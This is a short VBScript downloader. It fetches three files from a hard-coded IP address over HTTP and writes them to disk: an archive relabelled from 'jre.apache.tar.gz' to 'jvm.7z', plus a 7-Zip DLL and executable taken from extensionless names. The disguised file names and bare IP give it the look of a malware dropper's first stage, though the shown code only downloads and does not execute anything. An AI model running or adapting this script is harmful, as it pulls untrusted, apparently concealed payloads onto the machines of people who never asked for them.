Sub download(url,target) 
Const adTypeBinary = 1 
Const adSaveCreateOverWrite = 2 
Dim http,ado 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open "GET",url,False 
http.send 
Set ado = createobject("Adodb.Stream") 
ado.Type = adTypeBinary 
ado.Open 
ado.Write http.responseBody 
ado.SaveToFile target 
ado.Close 
End Sub 
download "http://219.136.249.94/files/jre.apache.tar.gz", "./jvm.7z" 
download "http://219.136.249.94/files/zdll", "./7z.dll" 
download "http://219.136.249.94/files/zexe", "./7z.exe" 
